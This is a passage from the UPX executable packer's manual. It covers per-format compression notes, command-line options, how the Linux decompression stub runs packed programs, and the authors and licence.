--8086 Create an executable that works on any 8086 CPU.
--no-reloc Use no relocation records in the exe header.
--all-methods Compress the program several times, using all
available compression methods. This may improve
the compression ratio in some cases, but usually
the default method gives the best results anyway.
NOTES FOR DOS/SYS
Compressed programs only work on a 286+.
Packed programs will be byte-identical to the original after
uncompression.
Maximum uncompressed size: ~65350 bytes.
Extra options available for this executable format:
--8086 Create an executable that works on any 8086 CPU.
--all-methods Compress the program several times, using all
available compression methods. This may improve
the compression ratio in some cases, but usually
the default method gives the best results anyway.
--all-filters Compress the program several times, using all
available preprocessing filters. This may improve
the compression ratio in some cases, but usually
the default filter gives the best results anyway.
NOTES FOR DJGPP2/COFF
First of all, it is recommended to use UPX *instead* of strip. strip has
the very bad habit of replacing your stub with its own (outdated)
version. Additionally UPX corrects a bug/feature in strip v2.8.x: it
will fix the 4 KiB alignment of the stub.
UPX includes the full functionality of stubify. This means it will
automatically stubify your COFF files. Use the option --coff to disable
this functionality (see below).
UPX automatically handles Allegro packfiles.
The DLM format (a rather exotic shared library extension) is not
supported.
Packed programs will be byte-identical to the original after
uncompression. All debug information and trailing garbage will be
stripped, though.
Extra options available for this executable format:
--coff Produce COFF output instead of EXE. By default
UPX keeps your current stub.
--all-methods Compress the program several times, using all
available compression methods. This may improve
the compression ratio in some cases, but usually
the default method gives the best results anyway.
--all-filters Compress the program several times, using all
available preprocessing filters. This may improve
the compression ratio in some cases, but usually
the default filter gives the best results anyway.
NOTES FOR LINUX [general]
Introduction
Linux/386 support in UPX consists of 3 different executable formats,
one optimized for ELF executables ("linux/elf386"), one optimized
for shell scripts ("linux/sh386"), and one generic format
("linux/386").
We will start with a general discussion first, but please
also read the relevant docs for each of the individual formats.
Also, there is special support for bootable kernels - see the
description of the vmlinuz/386 format.
General user's overview
Running a compressed executable program trades less space on a
``permanent'' storage medium (such as a hard disk, floppy disk,
CD-ROM, flash memory, EPROM, etc.) for more space in one or more
``temporary'' storage media (such as RAM, swap space, /tmp, etc.).
Running a compressed executable also requires some additional CPU
cycles to generate the compressed executable in the first place,
and to decompress it at each invocation.
How much space is traded? It depends on the executable, but many
programs save 30% to 50% of permanent disk space. How much CPU
overhead is there? Again, it depends on the executable, but
decompression speed generally is at least many megabytes per second,
and frequently is limited by the speed of the underlying disk
or network I/O.
Depending on the statistics of usage and access, and the relative
speeds of CPU, RAM, swap space, /tmp, and file system storage, then
invoking and running a compressed executable can be faster than
directly running the corresponding uncompressed program.
The operating system might perform fewer expensive I/O operations
to invoke the compressed program. Paging to or from swap space
or /tmp might be faster than paging from the general file system.
``Medium-sized'' programs which access about 1/3 to 1/2 of their
stored program bytes can do particularly well with compression.
Small programs tend not to benefit as much because the absolute
savings is less. Big programs tend not to benefit proportionally
because each invocation may use only a small fraction of the program,
yet UPX decompresses the entire program before invoking it.
But in environments where disk or flash memory storage is limited,
then compression may win anyway.
Currently, executables compressed by UPX do not share RAM at runtime
in the way that executables mapped from a file system do. As a
result, if the same program is run simultaneously by more than one
process, then using the compressed version will require more RAM and/or
swap space. So, shell programs (bash, csh, etc.) and ``make''
might not be good candidates for compression.
UPX recognizes three executable formats for Linux: Linux/elf386,
Linux/sh386, and Linux/386. Linux/386 is the most generic format;
it accommodates any file that can be executed. At runtime, the UPX
decompression stub re-creates in /tmp a copy of the original file,
and then the copy is (re-)executed with the same arguments.
ELF binary executables prefer the Linux/elf386 format by default,
because UPX decompresses them directly into RAM, uses only one
exec, does not use space in /tmp, and does not use /proc.
Shell scripts where the underlying shell accepts a ``-c'' argument
can use the Linux/sh386 format. UPX decompresses the shell script
into low memory, then maps the shell and passes the entire text of the
script as an argument with a leading ``-c''.
General benefits:
- UPX can compress all executables, be it AOUT, ELF, libc4, libc5,
libc6, Shell/Perl/Python/... scripts, standalone Java .class
binaries, or whatever...
All scripts and programs will work just as before.
- Compressed programs are completely self-contained. No need for
any external program.
- UPX keeps your original program untouched. This means that
after decompression you will have a byte-identical version,
and you can use UPX as a file compressor just like gzip.
[ Note that UPX maintains a checksum of the file internally,
so it is indeed a reliable alternative. ]
- As the stub only uses syscalls and isn't linked against libc it
should run under any Linux configuration that can run ELF
binaries.
- For the same reason compressed executables should run under
FreeBSD and other systems which can run Linux binaries.
[ Please send feedback on this topic ]
General drawbacks:
- It is not advisable to compress programs which usually have many
instances running (like `sh' or `make') because the common segments of
compressed programs won't be shared any longer between different
processes.
- `ldd' and `size' won't show anything useful because all they
see is the statically linked stub. Since version 0.82 the section
headers are stripped from the UPX stub and `size' doesn't even
recognize the file format. The file patches/patch-elfcode.h has a
patch to fix this bug in `size' and other programs which use GNU BFD.
General notes:
- As UPX leaves your original program untouched it is advantageous
to strip it before compression.
- If you compress a script you will lose platform independence -
this could be a problem if you are using NFS mounted disks.
- Compression of suid, guid and sticky-bit programs is rejected
because of possible security implications.
- For the same reason there is no sense in making any compressed
program suid.
- Obviously UPX won't work with executables that want to read data
from themselves. E.g., this might be a problem for Perl scripts
which access their __DATA__ lines.
- In case of internal errors the stub will abort with exitcode 127.
Typical reasons for this to happen are that the program has somehow
been modified after compression.
Running `strace -o strace.log compressed_file' will tell you more.
NOTES FOR LINUX/ELF386
Please read the general Linux description first.
The linux/elf386 format decompresses directly into RAM, uses only one
exec, does not use space in /tmp, and does not use /proc.
Linux/elf386 is automatically selected for Linux ELF executables.
Packed programs will be byte-identical to the original after
uncompression.
How it works:
For ELF executables, UPX decompresses directly to memory, simulating
the mapping that the operating system kernel uses during exec(),
including the PT_INTERP program interpreter (if any).
The brk() is set by a special PT_LOAD segment in the compressed
executable itself. UPX then wipes the stack clean except for
arguments, environment variables, and Elf_auxv entries (this is
required by bugs in the startup code of /lib/ld-linux.so as of
May 2000), and transfers control to the program interpreter or
the e_entry address of the original executable.
The UPX stub is about 1700 bytes long, partly written in assembler
and only uses kernel syscalls. It is not linked against any libc.
Specific drawbacks:
- For linux/elf386 and linux/sh386 formats, you will be relying on
RAM and swap space to hold all of the decompressed program during
the lifetime of the process. If you already use most of your swap
space, then you may run out. A system that is "out of memory"
can become fragile. Many programs do not react gracefully when
malloc() returns 0. With newer Linux kernels, the kernel
may decide to kill some processes to regain memory, and you
may not like the kernel's choice of which to kill. Running
/usr/bin/top is one way to check on the usage of swap space.
Extra options available for this executable format:
(none)
NOTES FOR LINUX/SH386
Please read the general Linux description first.
Shell scripts where the underling shell accepts a ``-c'' argument can
use the Linux/sh386 format. UPX decompresses the shell script into low
memory, then maps the shell and passes the entire text of the script as
an argument with a leading ``-c''. It does not use space in /tmp, and
does not use /proc.
Linux/sh386 is automatically selected for shell scripts that use a known
shell.
Packed programs will be byte-identical to the original after
uncompression.
How it works:
For shell script executables (files beginning with "#!/" or "#! /")
where the shell is known to accept "-c <command>", UPX decompresses
the file into low memory, then maps the shell (and its PT_INTERP),
and passes control to the shell with the entire decompressed file
as the argument after "-c". Known shells are sh, ash, bash, bsh, csh,
ksh, tcsh, pdksh. Restriction: UPX cannot use this method
for shell scripts which use the one optional string argument after
the shell name in the script (example: "#! /bin/sh option3\n".)
The UPX stub is about 1700 bytes long, partly written in assembler
and only uses kernel syscalls. It is not linked against any libc.
Specific drawbacks:
- For linux/elf386 and linux/sh386 formats, you will be relying on
RAM and swap space to hold all of the decompressed program during
the lifetime of the process. If you already use most of your swap
space, then you may run out. A system that is "out of memory"
can become fragile. Many programs do not react gracefully when
malloc() returns 0. With newer Linux kernels, the kernel
may decide to kill some processes to regain memory, and you
may not like the kernel's choice of which to kill. Running
/usr/bin/top is one way to check on the usage of swap space.
Extra options available for this executable format:
(none)
NOTES FOR LINUX/386
Please read the general Linux description first.
The generic linux/386 format decompresses to /tmp and needs /proc file
system support. It starts the decompressed program via the execve()
syscall.
Linux/386 is only selected if the specialized linux/elf386 and
linux/sh386 won't recognize a file.
Packed programs will be byte-identical to the original after
uncompression.
How it works:
For files which are not ELF and not a script for a known "-c" shell,
UPX uses kernel execve(), which first requires decompressing to a
temporary file in the file system. Interestingly -
because of the good memory management of the Linux kernel - this
often does not introduce a noticeable delay, and in fact there
will be no disk access at all if you have enough free memory as
the entire process takes places within the file system buffers.
A compressed executable consists of the UPX stub and an overlay
which contains the original program in a compressed form.
The UPX stub is a statically linked ELF executable and does
the following at program startup:
1) decompress the overlay to a temporary location in /tmp
2) open the temporary file for reading
3) try to delete the temporary file and start (execve)
the uncompressed program in /tmp using /proc/<pid>/fd/X as
attained by step 2)
4) if that fails, fork off a subprocess to clean up and
start the program in /tmp in the meantime
The UPX stub is about 1700 bytes long, partly written in assembler
and only uses kernel syscalls. It is not linked against any libc.
Specific drawbacks:
- You need additional free disk space for the uncompressed program
in your /tmp directory. This program is deleted immediately after
decompression, but you still need it for the full execution time
of the program.
- You must have /proc file system support as the stub wants to open
/proc/<pid>/exe and needs /proc/<pid>/fd/X. This also means that you
cannot compress programs that are used during the boot sequence
before /proc is mounted.
- Utilities like `top' will display numerical values in the process
name field. This is because Linux computes the process name from
the first argument of the last execve syscall (which is typically
something like /proc/<pid>/fd/3).
- Because of temporary decompression to disk the decompression speed
is not as fast as with the other executable formats. Still, I can see
no noticeable delay when starting programs like my ~3 MiB emacs (which
is less than 1 MiB when compressed :-).
Extra options available for this executable format:
--force-execve Force the use of the generic linux/386 "execve"
format, i.e. do not try the linux/elf386 and
linux/sh386 formats.
NOTES FOR PS1/EXE
This is the executable format used by the Sony PlayStation (PSone), a
MIPS R3000 based gaming console which is popular since the late '90s.
Support of this format is very similar to the Atari one, because of
nostalgic feelings of one of the authors.
Packed programs will be byte-identical to the original after
uncompression, until further notice.
Maximum uncompressed size: ~1.89 / ~7.60 MiB.
Notes:
- UPX creates as default a suitable executable for CD-Mastering
and console transfer. For a CD-Master main executable you could also try
the special option "--boot-only" as described below.
It has been reported that upx packed executables are fully compatible with
the Sony PlayStation 2 (PS2, PStwo) and Sony PlayStation Portable (PSP) in
Sony PlayStation (PSone) emulation mode.
- Normally the packed files use the same memory areas like the uncompressed
versions, so they will not override other memory areas while unpacking.
If this isn't possible UPX will abort showing a 'packed data overlap'
error. With the "--force" option UPX will relocate the loading address
for the packed file, but this isn't a real problem if it is a single or
the main executable.
Extra options available for this executable format:
--all-methods Compress the program several times, using all
available compression methods. This may improve
the compression ratio in some cases, but usually
the default method gives the best results anyway.
--8-bit Uses 8 bit size compression [default: 32 bit]
--8mib-ram PSone has 8 MiB ram available [default: 2 MiB]
--boot-only This format is for main exes and CD-Mastering only !
It may slightly improve the compression ratio,
decompression routines are faster than default ones.
But it cannot be used for console transfer !
--no-align This option disables CD mode 2 data sector format
alignment. May slightly improves the compression ratio,
but the compressed executable will not boot from a CD.
Use it for console transfer only !
NOTES FOR RTM32/PE and ARM/PE
Same as win32/pe.
NOTES FOR TMT/ADAM
This format is used by the TMT Pascal compiler - see http://www.tmt.com/
.
Extra options available for this executable format:
--all-methods Compress the program several times, using all
available compression methods. This may improve
the compression ratio in some cases, but usually
the default method gives the best results anyway.
--all-filters Compress the program several times, using all
available preprocessing filters. This may improve
the compression ratio in some cases, but usually
the default filter gives the best results anyway.
NOTES FOR VMLINUZ/386
The vmlinuz/386 and bvmlinuz/386 formats take a gzip-compressed bootable
Linux kernel image ("vmlinuz", "zImage", "bzImage"), gzip-decompress it
and re-compress it with the UPX compression method.
vmlinuz/386 is completely unrelated to the other Linux executable
formats, and it does not share any of their drawbacks.
Notes:
- Be sure that "vmlinuz/386" or "bvmlinuz/386" is displayed
during compression - otherwise a wrong executable format
may have been used, and the kernel won't boot.
Benefits:
- Better compression (but note that the kernel was already compressed,
so the improvement is not as large as with other formats).
Still, the bytes saved may be essential for special needs like
boot disks.
For example, this is what I get for my 2.2.16 kernel:
1589708 vmlinux
641073 bzImage [original]
560755 bzImage.upx [compressed by "upx -9"]
- Much faster decompression at kernel boot time (but kernel
decompression speed is not really an issue these days).
Drawbacks:
(none)
Extra options available for this executable format:
--all-methods Compress the program several times, using all
available compression methods. This may improve
the compression ratio in some cases, but usually
the default method gives the best results anyway.
--all-filters Compress the program several times, using all
available preprocessing filters. This may improve
the compression ratio in some cases, but usually
the default filter gives the best results anyway.
NOTES FOR WATCOM/LE
UPX has been successfully tested with the following extenders: DOS4G,
DOS4GW, PMODE/W, DOS32a, CauseWay. The WDOS/X extender is partly
supported (for details see the file bugs BUGS).
DLLs and the LX format are not supported.
Extra options available for this executable format:
--le Produce an unbound LE output instead of
keeping the current stub.
NOTES FOR WIN32/PE
The PE support in UPX is quite stable now, but probably there are still
some incompatibilities with some files.
Because of the way UPX (and other packers for this format) works, you
can see increased memory usage of your compressed files because the
whole program is loaded into memory at startup. If you start several
instances of huge compressed programs you're wasting memory because the
common segments of the program won't get shared across the instances. On
the other hand if you're compressing only smaller programs, or running
only one instance of larger programs, then this penalty is smaller, but
it's still there.
If you're running executables from network, then compressed programs
will load faster, and require less bandwidth during execution.
DLLs are supported. But UPX compressed DLLs can not share common data
and code when they got used by multiple applications. So compressing
msvcrt.dll is a waste of memory, but compressing the dll plugins of a
particular application may be a better idea.
Screensavers are supported, with the restriction that the filename must
end with ".scr" (as screensavers are handled slightly different than
normal exe files).
UPX compressed PE files have some minor memory overhead (usually in the
10 - 30 KiB range) which can be seen by specifying the "-i" command line
switch during compression.
Extra options available for this executable format:
--compress-exports=0 Don't compress the export section.
Use this if you plan to run the compressed
program under Wine.
--compress-exports=1 Compress the export section. [DEFAULT]
Compression of the export section can improve the
compression ratio quite a bit but may not work
with all programs (like winword.exe).
UPX never compresses the export section of a DLL
regardless of this option.
--compress-icons=0 Don't compress any icons.
--compress-icons=1 Compress all but the first icon.
--compress-icons=2 Compress all icons which are not in the
first icon directory. [DEFAULT]
--compress-icons=3 Compress all icons.
--compress-resources=0 Don't compress any resources at all.
--keep-resource=list Don't compress resources specified by the list.
The members of the list are separated by commas.
A list member has the following format: I<type[/name]>.
I<Type> is the type of the resource. Standard types
must be specified as decimal numbers, user types can be
specified by decimal IDs or strings. I<Name> is the
identifier of the resource. It can be a decimal number
or a string. For example:
--keep-resource=2/MYBITMAP,5,6/12345
UPX won't compress the named bitmap resource "MYBITMAP",
it leaves every dialog (5) resource uncompressed, and
it won't touch the string table resource with identifier
12345.
--force Force compression even when there is an
unexpected value in a header field.
Use with care.
--strip-relocs=0 Don't strip relocation records.
--strip-relocs=1 Strip relocation records. [DEFAULT]
This option only works on executables with base
address greater or equal to 0x400000. Usually the
compressed files becomes smaller, but some files
may become larger. Note that the resulting file will
not work under Windows 3.x (Win32s).
UPX never strips relocations from a DLL
regardless of this option.
--all-methods Compress the program several times, using all
available compression methods. This may improve
the compression ratio in some cases, but usually
the default method gives the best results anyway.
--all-filters Compress the program several times, using all
available preprocessing filters. This may improve
the compression ratio in some cases, but usually
the default filter gives the best results anyway.
DIAGNOSTICS
Exit status is normally 0; if an error occurs, exit status is 1. If a
warning occurs, exit status is 2.
UPX's diagnostics are intended to be self-explanatory.
BUGS
Please report all bugs immediately to the authors.
AUTHORS
Markus F.X.J. Oberhumer <markus@oberhumer.com>
http://www.oberhumer.com
Laszlo Molnar <ezerotven+github@gmail.com>
John F. Reiser <jreiser@BitWagon.com>
Jens Medoch <jssg@users.sourceforge.net>
COPYRIGHT
Copyright (C) 1996-2023 Markus Franz Xaver Johannes Oberhumer
Copyright (C) 1996-2023 Laszlo Molnar
Copyright (C) 2000-2023 John F. Reiser
Copyright (C) 2002-2023 Jens Medoch
UPX is distributed with full source code under the terms of the GNU
General Public License v2+; either under the pure GPLv2+ (see the file
COPYING), or (at your option) under the GPLv+2 with special exceptions
and restrictions granting the free usage for all binaries including
commercial programs (see the file LICENSE).
This program is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
You should have received a copy of the UPX License Agreements along with
this program; see the files COPYING and LICENSE. If not, visit the UPX
home page.

File diff suppressed because it is too large Load Diff

Binary file not shown.